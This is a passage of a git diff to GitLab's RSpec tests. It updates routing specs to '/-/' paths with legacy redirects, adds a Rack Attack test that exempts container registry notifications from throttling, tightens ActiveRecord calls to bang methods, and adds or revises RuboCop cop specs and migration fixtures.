+ project.members.last.update!(access_level: Gitlab::Access::GUEST)
end
it 'does not list the test events' do
@@ -100,7 +100,7 @@ RSpec.describe 'value stream analytics events' do
def create_cycle
milestone = create(:milestone, project: project)
- issue.update(milestone: milestone)
+ issue.update!(milestone: milestone)
mr = create_merge_request_closing_issue(user, project, issue, commit_message: "References #{issue.to_reference}")
pipeline = create(:ci_empty_pipeline, status: 'created', project: project, ref: mr.source_branch, sha: mr.source_branch_sha, head_pipeline_of: mr)
diff --git a/spec/requests/projects/issue_links_controller_spec.rb b/spec/requests/projects/issue_links_controller_spec.rb
index a21c676f000..d22955718f8 100644
--- a/spec/requests/projects/issue_links_controller_spec.rb
+++ b/spec/requests/projects/issue_links_controller_spec.rb
@@ -71,7 +71,7 @@ RSpec.describe Projects::IssueLinksController do
list_service_response = IssueLinks::ListService.new(issue, user).execute
expect(response).to have_gitlab_http_status(:not_found)
- expect(json_response).to eq('message' => 'No Issue found for given params', 'issuables' => list_service_response.as_json)
+ expect(json_response).to eq('message' => 'No matching issue found. Make sure that you are adding a valid issue URL.', 'issuables' => list_service_response.as_json)
end
end
end
diff --git a/spec/requests/projects/merge_requests_discussions_spec.rb b/spec/requests/projects/merge_requests_discussions_spec.rb
index 6ec586ed22c..eb8cf9f797d 100644
--- a/spec/requests/projects/merge_requests_discussions_spec.rb
+++ b/spec/requests/projects/merge_requests_discussions_spec.rb
@@ -26,6 +26,10 @@ RSpec.describe 'merge requests discussions' do
# https://docs.gitlab.com/ee/development/query_recorder.html#use-request-specs-instead-of-controller-specs
it 'avoids N+1 DB queries', :request_store do
+ send_request # warm up
+
+ create(:diff_note_on_merge_request, noteable: merge_request,
+ project: merge_request.project)
control = ActiveRecord::QueryRecorder.new { send_request }
create(:diff_note_on_merge_request, noteable: merge_request,
diff --git a/spec/requests/rack_attack_global_spec.rb b/spec/requests/rack_attack_global_spec.rb
index 1bb260b5ea1..972caec6eb3 100644
--- a/spec/requests/rack_attack_global_spec.rb
+++ b/spec/requests/rack_attack_global_spec.rb
@@ -143,6 +143,31 @@ RSpec.describe 'Rack Attack global throttles', :use_clean_rails_memory_store_cac
end
end
+ context 'when the request is to a container registry notification endpoint' do
+ let(:secret_token) { 'secret_token' }
+ let(:events) { [{ action: 'push' }] }
+ let(:registry_endpoint) { '/api/v4/container_registry_event/events' }
+ let(:registry_headers) { { 'Content-Type' => ::API::ContainerRegistryEvent::DOCKER_DISTRIBUTION_EVENTS_V1_JSON } }
+
+ before do
+ allow(Gitlab.config.registry).to receive(:notification_secret) { secret_token }
+
+ event = spy(:event)
+ allow(::ContainerRegistry::Event).to receive(:new).and_return(event)
+ allow(event).to receive(:supported?).and_return(true)
+ end
+
+ it 'does not throttle the requests' do
+ (1 + requests_per_period).times do
+ post registry_endpoint,
+ params: { events: events }.to_json,
+ headers: registry_headers.merge('Authorization' => secret_token)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+ end
+
it 'logs RackAttack info into structured logs' do
requests_per_period.times do
get url_that_does_not_require_authentication
diff --git a/spec/requests/users_controller_spec.rb b/spec/requests/users_controller_spec.rb
index f3ddcbef1c2..f092cbf26a4 100644
--- a/spec/requests/users_controller_spec.rb
+++ b/spec/requests/users_controller_spec.rb
@@ -663,7 +663,7 @@ RSpec.describe UsersController do
end
context 'when a user changed their username' do
- let(:redirect_route) { user.namespace.redirect_routes.create(path: 'old-username') }
+ let(:redirect_route) { user.namespace.redirect_routes.create!(path: 'old-username') }
it 'returns JSON indicating a user by that username does not exist' do
get user_exists_url 'old-username'
@@ -705,7 +705,7 @@ RSpec.describe UsersController do
end
context 'when a user changed their username' do
- let(:redirect_route) { user.namespace.redirect_routes.create(path: 'old-username') }
+ let(:redirect_route) { user.namespace.redirect_routes.create!(path: 'old-username') }
it 'returns JSON indicating a user by that username does not exist' do
get user_suggests_url 'old-username'
@@ -755,19 +755,19 @@ RSpec.describe UsersController do
end
context 'when requesting a redirected path' do
- let(:redirect_route) { user.namespace.redirect_routes.create(path: 'old-path') }
+ let(:redirect_route) { user.namespace.redirect_routes.create!(path: 'old-path') }
it_behaves_like 'redirects to the canonical path'
context 'when the old path is a substring of the scheme or host' do
- let(:redirect_route) { user.namespace.redirect_routes.create(path: 'http') }
+ let(:redirect_route) { user.namespace.redirect_routes.create!(path: 'http') }
# it does not modify the requested host and ...
it_behaves_like 'redirects to the canonical path'
end
context 'when the old path is substring of users' do
- let(:redirect_route) { user.namespace.redirect_routes.create(path: 'ser') }
+ let(:redirect_route) { user.namespace.redirect_routes.create!(path: 'ser') }
it_behaves_like 'redirects to the canonical path'
end
@@ -806,19 +806,19 @@ RSpec.describe UsersController do
end
context 'when requesting a redirected path' do
- let(:redirect_route) { user.namespace.redirect_routes.create(path: 'old-path') }
+ let(:redirect_route) { user.namespace.redirect_routes.create!(path: 'old-path') }
it_behaves_like 'redirects to the canonical path'
context 'when the old path is a substring of the scheme or host' do
- let(:redirect_route) { user.namespace.redirect_routes.create(path: 'http') }
+ let(:redirect_route) { user.namespace.redirect_routes.create!(path: 'http') }
# it does not modify the requested host and ...
it_behaves_like 'redirects to the canonical path'
end
context 'when the old path is substring of users' do
- let(:redirect_route) { user.namespace.redirect_routes.create(path: 'ser') }
+ let(:redirect_route) { user.namespace.redirect_routes.create!(path: 'ser') }
# it does not modify the /users part of the path
# (i.e. /users/ser should not become /ufoos/ser) and ...
diff --git a/spec/requests/whats_new_controller_spec.rb b/spec/requests/whats_new_controller_spec.rb
index ba7b5d4c000..ffb31bdf9bb 100644
--- a/spec/requests/whats_new_controller_spec.rb
+++ b/spec/requests/whats_new_controller_spec.rb
@@ -35,16 +35,5 @@ RSpec.describe WhatsNewController, :clean_gitlab_redis_cache do
expect(response).to have_gitlab_http_status(:not_found)
end
end
-
- context 'with version param' do
- it 'returns items without pagination headers' do
- allow(ReleaseHighlight).to receive(:for_version).with(version: '42').and_return(highlights)
-
- get whats_new_path(version: 42), xhr: true
-
- expect(response.body).to eq(highlights.items.to_json)
- expect(response.headers['X-Next-Page']).to be_nil
- end
- end
end
end
diff --git a/spec/routing/project_routing_spec.rb b/spec/routing/project_routing_spec.rb
index f7ed8d7d5dc..056f4d30ea5 100644
--- a/spec/routing/project_routing_spec.rb
+++ b/spec/routing/project_routing_spec.rb
@@ -126,26 +126,6 @@ RSpec.describe 'project routing' do
it 'to #archive with "/" in route' do
expect(get('/gitlab/gitlabhq/-/archive/improve/awesome/gitlabhq-improve-awesome.tar.gz')).to route_to('projects/repositories#archive', namespace_id: 'gitlab', project_id: 'gitlabhq', format: 'tar.gz', id: 'improve/awesome/gitlabhq-improve-awesome')
end
-
- it 'to #archive_alternative' do
- expect(get('/gitlab/gitlabhq/-/repository/archive')).to route_to('projects/repositories#archive', namespace_id: 'gitlab', project_id: 'gitlabhq', append_sha: true)
- end
-
- it 'to #archive_deprecated' do
- expect(get('/gitlab/gitlabhq/-/repository/master/archive')).to route_to('projects/repositories#archive', namespace_id: 'gitlab', project_id: 'gitlabhq', id: 'master', append_sha: true)
- end
-
- it 'to #archive_deprecated format:zip' do
- expect(get('/gitlab/gitlabhq/-/repository/master/archive.zip')).to route_to('projects/repositories#archive', namespace_id: 'gitlab', project_id: 'gitlabhq', format: 'zip', id: 'master', append_sha: true)
- end
-
- it 'to #archive_deprecated format:tar.bz2' do
- expect(get('/gitlab/gitlabhq/-/repository/master/archive.tar.bz2')).to route_to('projects/repositories#archive', namespace_id: 'gitlab', project_id: 'gitlabhq', format: 'tar.bz2', id: 'master', append_sha: true)
- end
-
- it 'to #archive_deprecated with "/" in route' do
- expect(get('/gitlab/gitlabhq/-/repository/improve/awesome/archive')).to route_to('projects/repositories#archive', namespace_id: 'gitlab', project_id: 'gitlabhq', id: 'improve/awesome', append_sha: true)
- end
end
describe Projects::BranchesController, 'routing' do
@@ -335,33 +315,37 @@ RSpec.describe 'project routing' do
end
end
- # test_project_hook POST /:project_id/hooks/:id/test(.:format) hooks#test
- # project_hooks GET /:project_id/hooks(.:format) hooks#index
- # POST /:project_id/hooks(.:format) hooks#create
- # edit_project_hook GET /:project_id/hooks/:id/edit(.:format) hooks#edit
- # project_hook PUT /:project_id/hooks/:id(.:format) hooks#update
- # DELETE /:project_id/hooks/:id(.:format) hooks#destroy
+ # test_project_hook POST /:project_id/-/hooks/:id/test(.:format) hooks#test
+ # project_hooks GET /:project_id/-/hooks(.:format) hooks#index
+ # POST /:project_id/-/hooks(.:format) hooks#create
+ # edit_project_hook GET /:project_id/-/hooks/:id/edit(.:format) hooks#edit
+ # project_hook PUT /:project_id/-/hooks/:id(.:format) hooks#update
+ # DELETE /:project_id/-/hooks/:id(.:format) hooks#destroy
describe Projects::HooksController, 'routing' do
it 'to #test' do
- expect(post('/gitlab/gitlabhq/hooks/1/test')).to route_to('projects/hooks#test', namespace_id: 'gitlab', project_id: 'gitlabhq', id: '1')
+ expect(post('/gitlab/gitlabhq/-/hooks/1/test')).to route_to('projects/hooks#test', namespace_id: 'gitlab', project_id: 'gitlabhq', id: '1')
end
it_behaves_like 'resource routing' do
let(:actions) { %i[index create destroy edit update] }
- let(:base_path) { '/gitlab/gitlabhq/hooks' }
+ let(:base_path) { '/gitlab/gitlabhq/-/hooks' }
end
+
+ it_behaves_like 'redirecting a legacy path', '/gitlab/gitlabhq/hooks', '/gitlab/gitlabhq/-/hooks'
end
- # retry_namespace_project_hook_hook_log POST /:project_id/hooks/:hook_id/hook_logs/:id/retry(.:format) projects/hook_logs#retry
- # namespace_project_hook_hook_log GET /:project_id/hooks/:hook_id/hook_logs/:id(.:format) projects/hook_logs#show
+ # retry_namespace_project_hook_hook_log POST /:project_id/-/hooks/:hook_id/hook_logs/:id/retry(.:format) projects/hook_logs#retry
+ # namespace_project_hook_hook_log GET /:project_id/-/hooks/:hook_id/hook_logs/:id(.:format) projects/hook_logs#show
describe Projects::HookLogsController, 'routing' do
it 'to #retry' do
- expect(post('/gitlab/gitlabhq/hooks/1/hook_logs/1/retry')).to route_to('projects/hook_logs#retry', namespace_id: 'gitlab', project_id: 'gitlabhq', hook_id: '1', id: '1')
+ expect(post('/gitlab/gitlabhq/-/hooks/1/hook_logs/1/retry')).to route_to('projects/hook_logs#retry', namespace_id: 'gitlab', project_id: 'gitlabhq', hook_id: '1', id: '1')
end
it 'to #show' do
- expect(get('/gitlab/gitlabhq/hooks/1/hook_logs/1')).to route_to('projects/hook_logs#show', namespace_id: 'gitlab', project_id: 'gitlabhq', hook_id: '1', id: '1')
+ expect(get('/gitlab/gitlabhq/-/hooks/1/hook_logs/1')).to route_to('projects/hook_logs#show', namespace_id: 'gitlab', project_id: 'gitlabhq', hook_id: '1', id: '1')
end
+
+ it_behaves_like 'redirecting a legacy path', '/gitlab/gitlabhq/hooks/hook_logs/1', '/gitlab/gitlabhq/-/hooks/hook_logs/1'
end
# project_commit GET /:project_id/commit/:id(.:format) commit#show {id: /\h{7,40}/, project_id: /[^\/]+/}
@@ -700,6 +684,26 @@ RSpec.describe 'project routing' do
end
end
+ describe Projects::PipelinesController, 'routing' do
+ it 'to #index' do
+ expect(get('/gitlab/gitlabhq/-/pipelines')).to route_to('projects/pipelines#index', namespace_id: 'gitlab', project_id: 'gitlabhq')
+ end
+
+ it 'to #show' do
+ expect(get('/gitlab/gitlabhq/-/pipelines/12')).to route_to('projects/pipelines#show', namespace_id: 'gitlab', project_id: 'gitlabhq', id: '12')
+ end
+
+ it_behaves_like 'redirecting a legacy path', '/gitlab/gitlabhq/pipelines', '/gitlab/gitlabhq/-/pipelines'
+ end
+
+ describe Projects::PipelineSchedulesController, 'routing' do
+ it 'to #index' do
+ expect(get('/gitlab/gitlabhq/-/pipeline_schedules')).to route_to('projects/pipeline_schedules#index', namespace_id: 'gitlab', project_id: 'gitlabhq')
+ end
+
+ it_behaves_like 'redirecting a legacy path', '/gitlab/gitlabhq/pipeline_schedules', '/gitlab/gitlabhq/-/pipeline_schedules'
+ end
+
describe Projects::Settings::OperationsController, 'routing' do
it 'to #reset_alerting_token' do
expect(post('/gitlab/gitlabhq/-/settings/operations/reset_alerting_token')).to route_to('projects/settings/operations#reset_alerting_token', namespace_id: 'gitlab', project_id: 'gitlabhq')
diff --git a/spec/rubocop/cop/gitlab/delegate_predicate_methods_spec.rb b/spec/rubocop/cop/gitlab/delegate_predicate_methods_spec.rb
new file mode 100644
index 00000000000..1ceff0dd681
--- /dev/null
+++ b/spec/rubocop/cop/gitlab/delegate_predicate_methods_spec.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+require_relative '../../../../rubocop/cop/gitlab/delegate_predicate_methods'
+
+RSpec.describe RuboCop::Cop::Gitlab::DelegatePredicateMethods do
+ subject(:cop) { described_class.new }
+
+ it 'registers offense for single predicate method with allow_nil:true' do
+ expect_offense(<<~SOURCE)
+ delegate :is_foo?, :do_foo, to: :bar, allow_nil: true
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Using `delegate` with `allow_nil` on the following predicate methods is discouraged: is_foo?.
+ SOURCE
+ end
+
+ it 'registers offense for multiple predicate methods with allow_nil:true' do
+ expect_offense(<<~SOURCE)
+ delegate :is_foo?, :is_bar?, to: :bar, allow_nil: true
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Using `delegate` with `allow_nil` on the following predicate methods is discouraged: is_foo?, is_bar?.
+ SOURCE
+ end
+
+ it 'registers no offense for non-predicate method with allow_nil:true' do
+ expect_no_offenses(<<~SOURCE)
+ delegate :do_foo, to: :bar, allow_nil: true
+ SOURCE
+ end
+
+ it 'registers no offense with predicate method with allow_nil:false' do
+ expect_no_offenses(<<~SOURCE)
+ delegate :is_foo?, to: :bar, allow_nil: false
+ SOURCE
+ end
+
+ it 'registers no offense with predicate method without allow_nil' do
+ expect_no_offenses(<<~SOURCE)
+ delegate :is_foo?, to: :bar
+ SOURCE
+ end
+end
diff --git a/spec/rubocop/cop/gitlab/feature_available_usage_spec.rb b/spec/rubocop/cop/gitlab/feature_available_usage_spec.rb
new file mode 100644
index 00000000000..514ef357785
--- /dev/null
+++ b/spec/rubocop/cop/gitlab/feature_available_usage_spec.rb
@@ -0,0 +1,96 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+require 'rubocop'
+require 'rubocop/rspec/support'
+require_relative '../../../../rubocop/cop/gitlab/feature_available_usage'
+
+RSpec.describe RuboCop::Cop::Gitlab::FeatureAvailableUsage do
+ subject(:cop) { described_class.new }
+
+ context 'no arguments given' do
+ it 'does not flag the use of Gitlab::Sourcegraph.feature_available? with no arguments' do
+ expect_no_offenses('Gitlab::Sourcegraph.feature_available?')
+ expect_no_offenses('subject { described_class.feature_available? }')
+ end
+ end
+
+ context 'one argument given' do
+ it 'does not flag the use of License.feature_available?' do
+ expect_no_offenses('License.feature_available?(:push_rules)')
+ end
+
+ it 'flags the use with a dynamic feature as nil' do
+ expect_offense(<<~SOURCE)
+ feature_available?(nil)
+ ^^^^^^^^^^^^^^^^^^^^^^^ `feature_available?` should not be called for features that can be licensed (`nil` given), use `licensed_feature_available?(feature)` instead.
+ SOURCE
+ expect_offense(<<~SOURCE)
+ project.feature_available?(nil)
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ `feature_available?` should not be called for features that can be licensed (`nil` given), use `licensed_feature_available?(feature)` instead.
+ SOURCE
+ end
+
+ it 'flags the use with an OSS project feature' do
+ expect_offense(<<~SOURCE)
+ project.feature_available?(:issues)
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ `feature_available?` should be called with two arguments: `feature` and `user`.
+ SOURCE
+ expect_offense(<<~SOURCE)
+ feature_available?(:issues)
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^ `feature_available?` should be called with two arguments: `feature` and `user`.
+ SOURCE
+ end
+
+ it 'flags the use with a feature that is not a project feature' do
+ expect_offense(<<~SOURCE)
+ feature_available?(:foo)
+ ^^^^^^^^^^^^^^^^^^^^^^^^ `feature_available?` should not be called for features that can be licensed (`:foo` given), use `licensed_feature_available?(feature)` instead.
+ SOURCE
+ expect_offense(<<~SOURCE)
+ project.feature_available?(:foo)
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ `feature_available?` should not be called for features that can be licensed (`:foo` given), use `licensed_feature_available?(feature)` instead.
+ SOURCE
+ expect_offense(<<~SOURCE)
+ feature_available?(foo)
+ ^^^^^^^^^^^^^^^^^^^^^^^ `feature_available?` should not be called for features that can be licensed (`foo` isn't a literal so we cannot say if it's legit or not), using `licensed_feature_available?(feature)` may be more appropriate.
+ SOURCE
+ expect_offense(<<~SOURCE)
+ foo = :feature
+ feature_available?(foo)
+ ^^^^^^^^^^^^^^^^^^^^^^^ `feature_available?` should not be called for features that can be licensed (`foo` isn't a literal so we cannot say if it's legit or not), using `licensed_feature_available?(feature)` may be more appropriate.
+ SOURCE
+ end
+ end
+
+ context 'two arguments given' do
+ it 'does not flag the use with an OSS project feature' do
+ expect_no_offenses('feature_available?(:issues, user)')
+ expect_no_offenses('project.feature_available?(:issues, user)')
+ end
+
+ it 'does not flag the use with an EE project feature' do
+ expect_no_offenses('feature_available?(:requirements, user)')
+ expect_no_offenses('project.feature_available?(:requirements, user)')
+ end
+
+ it 'flags the use with a dynamic feature as a method call with two args' do
+ expect_offense(<<~SOURCE)
+ feature_available?(:foo, current_user)
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ `feature_available?` should not be called for features that can be licensed (`:foo` given), use `licensed_feature_available?(feature)` instead.
+ SOURCE
+ expect_offense(<<~SOURCE)
+ project.feature_available?(:foo, current_user)
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ `feature_available?` should not be called for features that can be licensed (`:foo` given), use `licensed_feature_available?(feature)` instead.
+ SOURCE
+ expect_offense(<<~SOURCE)
+ feature_available?(foo, current_user)
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ `feature_available?` should not be called for features that can be licensed (`foo` isn't a literal so we cannot say if it's legit or not), using `licensed_feature_available?(feature)` may be more appropriate.
+ SOURCE
+ expect_offense(<<~SOURCE)
+ project.feature_available?(foo, current_user)
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ `feature_available?` should not be called for features that can be licensed (`foo` isn't a literal so we cannot say if it's legit or not), using `licensed_feature_available?(feature)` may be more appropriate.
+ SOURCE
+ end
+ end
+end
diff --git a/spec/rubocop/cop/graphql/descriptions_spec.rb b/spec/rubocop/cop/graphql/descriptions_spec.rb
index af660aee165..9709a253bdc 100644
--- a/spec/rubocop/cop/graphql/descriptions_spec.rb
+++ b/spec/rubocop/cop/graphql/descriptions_spec.rb
@@ -6,7 +6,7 @@ require_relative '../../../../rubocop/cop/graphql/descriptions'
RSpec.describe RuboCop::Cop::Graphql::Descriptions do
subject(:cop) { described_class.new }
- context 'fields' do
+ context 'with fields' do
it 'adds an offense when there is no description' do
expect_offense(<<~TYPE)
module Types
@@ -46,9 +46,19 @@ RSpec.describe RuboCop::Cop::Graphql::Descriptions do
end
TYPE
end
+
+ it 'does not add an offense when there is a resolver' do
+ expect_no_offenses(<<~TYPE.strip)
+ module Types
+ class FakeType < BaseObject
+ field :a_thing, resolver: ThingResolver
+ end
+ end
+ TYPE
+ end
end
- context 'arguments' do
+ context 'with arguments' do
it 'adds an offense when there is no description' do
expect_offense(<<~TYPE)
module Types
@@ -90,7 +100,7 @@ RSpec.describe RuboCop::Cop::Graphql::Descriptions do
end
end
- context 'enum values' do
+ context 'with enum values' do
it 'adds an offense when there is no description' do
expect_offense(<<~TYPE)
module Types
diff --git a/spec/rubocop/cop/migration/add_limit_to_text_columns_spec.rb b/spec/rubocop/cop/migration/add_limit_to_text_columns_spec.rb
index f4695ff8d2d..899872859a9 100644
--- a/spec/rubocop/cop/migration/add_limit_to_text_columns_spec.rb
+++ b/spec/rubocop/cop/migration/add_limit_to_text_columns_spec.rb
@@ -17,7 +17,6 @@ RSpec.describe RuboCop::Cop::Migration::AddLimitToTextColumns do
it 'registers an offense' do
expect_offense(<<~RUBY)
class TestTextLimits < ActiveRecord::Migration[6.0]
- DOWNTIME = false
disable_ddl_transaction!
def up
@@ -54,7 +53,6 @@ RSpec.describe RuboCop::Cop::Migration::AddLimitToTextColumns do
it 'registers no offense' do
expect_no_offenses(<<~RUBY)
class TestTextLimits < ActiveRecord::Migration[6.0]
- DOWNTIME = false
disable_ddl_transaction!
def up
@@ -90,8 +88,6 @@ RSpec.describe RuboCop::Cop::Migration::AddLimitToTextColumns do
it 'registers no offense' do
expect_no_offenses(<<~RUBY)
class TestTextLimits < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
def up
create_table :test_text_limits, id: false do |t|
t.integer :test_id, null: false
@@ -113,7 +109,6 @@ RSpec.describe RuboCop::Cop::Migration::AddLimitToTextColumns do
it 'registers an offense' do
expect_offense(<<~RUBY)
class TestTextLimits < ActiveRecord::Migration[6.0]
- DOWNTIME = false
disable_ddl_transaction!
def up
@@ -146,7 +141,6 @@ RSpec.describe RuboCop::Cop::Migration::AddLimitToTextColumns do
it 'registers no offenses' do
expect_no_offenses(<<~RUBY)
class TestTextLimits < ActiveRecord::Migration[6.0]
- DOWNTIME = false
disable_ddl_transaction!
def up
@@ -168,8 +162,6 @@ RSpec.describe RuboCop::Cop::Migration::AddLimitToTextColumns do
it 'registers no offense' do
expect_no_offenses(<<~RUBY)
class TestTextLimits < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
def up
drop_table :no_offense_on_down
end
@@ -194,7 +186,6 @@ RSpec.describe RuboCop::Cop::Migration::AddLimitToTextColumns do
it 'registers no offense' do
expect_no_offenses(<<~RUBY)
class TestTextLimits < ActiveRecord::Migration[6.0]
- DOWNTIME = false
disable_ddl_transaction!
def up
diff --git a/spec/rubocop/cop/migration/add_timestamps_spec.rb b/spec/rubocop/cop/migration/add_timestamps_spec.rb
index ef5a856722f..2a11d46be6e 100644
--- a/spec/rubocop/cop/migration/add_timestamps_spec.rb
+++ b/spec/rubocop/cop/migration/add_timestamps_spec.rb
@@ -9,8 +9,6 @@ RSpec.describe RuboCop::Cop::Migration::AddTimestamps do
let(:migration_with_add_timestamps) do
%q(
class Users < ActiveRecord::Migration[4.2]
- DOWNTIME = false
-
def change
add_column(:users, :username, :text)
add_timestamps(:users)
@@ -22,8 +20,6 @@ RSpec.describe RuboCop::Cop::Migration::AddTimestamps do
let(:migration_without_add_timestamps) do
%q(
class Users < ActiveRecord::Migration[4.2]
- DOWNTIME = false
-
def change
add_column(:users, :username, :text)
end
@@ -34,8 +30,6 @@ RSpec.describe RuboCop::Cop::Migration::AddTimestamps do
let(:migration_with_add_timestamps_with_timezone) do
%q(
class Users < ActiveRecord::Migration[4.2]
- DOWNTIME = false
-
def change
add_column(:users, :username, :text)
add_timestamps_with_timezone(:users)
@@ -52,8 +46,6 @@ RSpec.describe RuboCop::Cop::Migration::AddTimestamps do
it 'registers an offense when the "add_timestamps" method is used' do
expect_offense(<<~RUBY)
class Users < ActiveRecord::Migration[4.2]
- DOWNTIME = false
-
def change
add_column(:users, :username, :text)
add_timestamps(:users)
diff --git a/spec/rubocop/cop/migration/complex_indexes_require_name_spec.rb b/spec/rubocop/cop/migration/complex_indexes_require_name_spec.rb
index 15e947a1e53..ac814c10550 100644
--- a/spec/rubocop/cop/migration/complex_indexes_require_name_spec.rb
+++ b/spec/rubocop/cop/migration/complex_indexes_require_name_spec.rb
@@ -18,8 +18,6 @@ RSpec.describe RuboCop::Cop::Migration::ComplexIndexesRequireName do
it 'registers an offense' do
expect_offense(<<~RUBY)
class TestComplexIndexes < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
def up
create_table :test_table do |t|
t.integer :column1, null: false
@@ -46,8 +44,6 @@ RSpec.describe RuboCop::Cop::Migration::ComplexIndexesRequireName do
it 'registers no offense' do
expect_no_offenses(<<~RUBY)
class TestComplexIndexes < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
def up
create_table :test_table do |t|
t.integer :column1, null: false
@@ -74,8 +70,6 @@ RSpec.describe RuboCop::Cop::Migration::ComplexIndexesRequireName do
it 'registers an offense' do
expect_offense(<<~RUBY)
class TestComplexIndexes < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
disable_ddl_transaction!
def up
@@ -101,8 +95,6 @@ RSpec.describe RuboCop::Cop::Migration::ComplexIndexesRequireName do
it 'registers no offenses' do
expect_no_offenses(<<~RUBY)
class TestComplexIndexes < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
INDEX_NAME = 'my_test_name'
disable_ddl_transaction!
@@ -135,8 +127,6 @@ RSpec.describe RuboCop::Cop::Migration::ComplexIndexesRequireName do
it 'registers no offenses' do
expect_no_offenses(<<~RUBY)
class TestComplexIndexes < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
disable_ddl_transaction!
def up
diff --git a/spec/rubocop/cop/migration/datetime_spec.rb b/spec/rubocop/cop/migration/datetime_spec.rb
index 3854ddfe99c..95a875b3baa 100644
--- a/spec/rubocop/cop/migration/datetime_spec.rb
+++ b/spec/rubocop/cop/migration/datetime_spec.rb
@@ -9,8 +9,6 @@ RSpec.describe RuboCop::Cop::Migration::Datetime do
let(:create_table_migration_without_datetime) do
%q(
class Users < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
def change
create_table :users do |t|
t.string :username, null: false
@@ -24,8 +22,6 @@ RSpec.describe RuboCop::Cop::Migration::Datetime do
let(:create_table_migration_with_datetime_with_timezone) do
%q(
class Users < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
def change
create_table :users do |t|
t.string :username, null: false
@@ -39,8 +35,6 @@ RSpec.describe RuboCop::Cop::Migration::Datetime do
let(:add_column_migration_with_datetime) do
%q(
class Users < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
def change
add_column(:users, :username, :text)
add_column(:users, :last_sign_in, :datetime)
@@ -52,8 +46,6 @@ RSpec.describe RuboCop::Cop::Migration::Datetime do
let(:add_column_migration_with_timestamp) do
%q(
class Users < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
def change
add_column(:users, :username, :text)
add_column(:users, :last_sign_in, :timestamp)
@@ -65,8 +57,6 @@ RSpec.describe RuboCop::Cop::Migration::Datetime do
let(:add_column_migration_without_datetime) do
%q(
class Users < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
def change
add_column(:users, :username, :text)
end
@@ -77,8 +67,6 @@ RSpec.describe RuboCop::Cop::Migration::Datetime do
let(:add_column_migration_with_datetime_with_timezone) do
%q(
class Users < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
def change
add_column(:users, :username, :text)
add_column(:users, :last_sign_in, :datetime_with_timezone)
@@ -95,8 +83,6 @@ RSpec.describe RuboCop::Cop::Migration::Datetime do
it 'registers an offense when the ":datetime" data type is used on create_table' do
expect_offense(<<~RUBY)
class Users < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
def change
create_table :users do |t|
t.string :username, null: false
@@ -111,8 +97,6 @@ RSpec.describe RuboCop::Cop::Migration::Datetime do
it 'registers an offense when the ":timestamp" data type is used on create_table' do
expect_offense(<<~RUBY)
class Users < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
def change
create_table :users do |t|
t.string :username, null: false
@@ -135,8 +119,6 @@ RSpec.describe RuboCop::Cop::Migration::Datetime do
it 'registers an offense when the ":datetime" data type is used on add_column' do
expect_offense(<<~RUBY)
class Users < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
def change
add_column(:users, :username, :text)
add_column(:users, :last_sign_in, :datetime)
@@ -149,8 +131,6 @@ RSpec.describe RuboCop::Cop::Migration::Datetime do
it 'registers an offense when the ":timestamp" data type is used on add_column' do
expect_offense(<<~RUBY)
class Users < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
def change
add_column(:users, :username, :text)
add_column(:users, :last_sign_in, :timestamp)
diff --git a/spec/rubocop/cop/migration/prevent_strings_spec.rb b/spec/rubocop/cop/migration/prevent_strings_spec.rb
index a9b62f23a77..d1760c2db88 100644
--- a/spec/rubocop/cop/migration/prevent_strings_spec.rb
+++ b/spec/rubocop/cop/migration/prevent_strings_spec.rb
@@ -15,8 +15,6 @@ RSpec.describe RuboCop::Cop::Migration::PreventStrings do
it 'registers an offense' do
expect_offense(<<~RUBY, msg: "Do not use the `string` data type, use `text` instead.[...]")
class Users < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
def up
create_table :users do |t|
t.string :username, null: false
@@ -46,8 +44,6 @@ RSpec.describe RuboCop::Cop::Migration::PreventStrings do
it 'registers no offense' do
expect_no_offenses(<<~RUBY)
class Users < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
def up
create_table :users do |t|
t.integer :not_a_string, null: false
@@ -65,8 +61,6 @@ RSpec.describe RuboCop::Cop::Migration::PreventStrings do
it 'registers no offense' do
expect_no_offenses(<<~RUBY)
class Users < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
def up
create_table :users do |t|
t.text :username, null: false
@@ -87,8 +81,6 @@ RSpec.describe RuboCop::Cop::Migration::PreventStrings do
it 'registers no offense' do
expect_no_offenses(<<~RUBY)
class TestStringArrays < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
def up
create_table :test_string_arrays, id: false do |t|
t.integer :test_id, null: false
@@ -108,8 +100,6 @@ RSpec.describe RuboCop::Cop::Migration::PreventStrings do
it 'registers no offense' do
expect_no_offenses(<<~RUBY)
class Users < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
def up
